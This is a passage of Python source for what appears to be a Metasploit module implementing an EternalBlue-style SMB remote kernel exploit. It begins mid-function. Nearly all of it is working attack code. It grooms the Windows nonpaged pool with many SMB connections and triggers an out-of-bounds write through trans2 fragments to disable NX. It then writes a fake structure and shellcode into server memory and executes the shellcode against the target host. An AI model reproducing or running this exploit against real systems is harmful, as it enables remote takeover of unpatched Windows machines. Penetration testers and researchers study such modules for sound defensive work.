      nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
      nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, b'\x00'*30, len(feaList)%4096, False)
  
      # create some big buffer at server
      # this buffer MUST NOT be big enough for overflown buffer
      allocConn = createSessionAllocNonPaged(target, port, NTFEA_SIZE - 0x2010, username, password)
  
      # groom nonpaged pool
      # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
      srvnetConn = []
      for i in range(numGroomConn):
          sk = createConnectionWithBigSMBFirst80(target, port, for_nx=True)
          srvnetConn.append(sk)
  
      # create buffer size NTFEA_SIZE at server
      # this buffer will be replaced by overflown buffer
      holeConn = createSessionAllocNonPaged(target, port, NTFEA_SIZE-0x10, username, password)
      # disconnect allocConn to free buffer
      # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
      allocConn.get_socket().close()
  
      # hope one of srvnetConn is next to holeConn
      for i in range(5):
          sk = createConnectionWithBigSMBFirst80(target, port, for_nx=True)
          srvnetConn.append(sk)
  
      # remove holeConn to create hole for fea buffer
      holeConn.get_socket().close()
  
      # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
      # first trigger, overwrite srvnet buffer struct for disabling NX
      send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress)
      recvPkt = nxconn.recvSMB()
      retStatus = recvPkt.getNTStatus()
      if retStatus == 0xc000000d:
          module.log('good response status for nx: INVALID_PARAMETER')
      else:
          module.log('bad response status for nx: 0x{:08x}'.format(retStatus), 'error')
  
      # one of srvnetConn struct header should be modified
      # send '\x00' to disable nx
      for sk in srvnetConn:
          sk.send(b'\x00')
  
      # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
      # second trigger, place fake struct and shellcode
      send_trans2_second(conn, tid, feaList[progress:], progress)
      recvPkt = conn.recvSMB()
      retStatus = recvPkt.getNTStatus()
      if retStatus == 0xc000000d:
          module.log('good response status: INVALID_PARAMETER')
      else:
          module.log('bad response status: 0x{:08x}'.format(retStatus), 'error')
  
      # one of srvnetConn struct header should be modified
      # a corrupted buffer will write recv data in designed memory address
      for sk in srvnetConn:
          sk.send(fake_recv_struct + shellcode)
  
      # execute shellcode
      for sk in srvnetConn:
          sk.close()
  
      # nicely close connection (no need for exploit)
      nxconn.disconnect_tree(tid)
      nxconn.logoff()
      nxconn.get_socket().close()
      conn.disconnect_tree(tid)
      conn.logoff()
      conn.get_socket().close()
  
  
  def exploit(args):
      if dependencies_missing:
          module.log('Module dependencies (impacket) missing, cannot continue', 'error')
          sys.exit(1)
  
      # XXX: Normalize strings to ints and unset options to empty strings
      rport = int(args['RPORT'])
      numGroomConn = int(args['GroomAllocations'])
      smbuser = args['SMBUser'] if 'SMBUser' in args else b''
      smbpass = args['SMBPass'] if 'SMBPass' in args else b''
      
      # XXX: JSON-RPC requires UTF-8, so we Base64-encode the binary payload
      sc = eternalblue_kshellcode_x64(args['ProcessName']) + b64decode(args['payload_encoded'])
      
      if len(sc) > 0xe80:
          module.log('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80), 'error')
          sys.exit(1)
  
      # Now, shellcode is known. create a feaList
      feaList = createFeaList(len(sc))
  
      module.log('shellcode size: {:d}'.format(len(sc)))
      module.log('numGroomConn: {:d}'.format(numGroomConn))
  
      try:
          _exploit(args['RHOST'], rport, feaList, sc, numGroomConn, smbuser, smbpass)
      # XXX: Catch everything until we know better
      except Exception as e:
          module.log(str(e), 'error')
          sys.exit(1)
  
      module.log('done')
  
  
  if __name__ == '__main__':
      module.run(metadata, exploit)
  